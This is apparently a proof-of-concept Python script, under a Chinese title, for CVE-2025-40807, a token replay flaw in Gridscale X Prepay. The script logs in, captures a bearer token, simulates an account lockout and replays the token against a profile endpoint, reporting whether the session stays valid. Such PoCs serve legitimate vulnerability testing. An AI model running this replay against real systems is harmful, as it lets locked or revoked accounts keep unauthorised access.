CVE-2025-40807: Gridscale X Prepay认证令牌重放漏洞

# CVE-2025-40807 PoC - Gridscale X Prepay Token Replay Attack # This PoC demonstrates the capture-replay vulnerability import requests import json TARGET_HOST = "https://gridscale.example.com" TARGET_API = f"{TARGET_HOST}/api/v1" def exploit_cve_2025_40807(): """ Steps to exploit CVE-2025-40807: 1. Authenticate with valid credentials (low-privilege account) 2. Capture the authentication token from response 3. Account gets locked (by admin or security policy) 4. Replay the captured token to establish valid session """ # Step 1: Normal authentication login_data = { "username": "attacker_account", "password": "password123" } auth_response = requests.post( f"{TARGET_API}/auth/login", json=login_data ) if auth_response.status_code == 200: # Step 2: Capture the token token = auth_response.json().get("token") print(f"[+] Captured Token: {token}") # Simulate account lockout scenario # In real attack, this could happen via: # - Multiple failed login attempts # - Admin manually locking the account # - Security policy triggering lockout # Step 3: Account gets locked (simulated) print("[*] Account has been locked by security policy") # Step 4: Replay the captured token headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } # Attempt to access protected resource with replayed token exploit_response = requests.get( f"{TARGET_API}/user/profile", headers=headers ) if exploit_response.status_code == 200: print("[+] VULNERABLE: Token replay successful, session still valid!") print(f"[+] Response: {exploit_response.text}") return True else: print("[-] NOT VULNERABLE: Token was properly invalidated") return False else: print("[-] Authentication failed") return False if __name__ == "__main__": exploit_cve_2025_40807()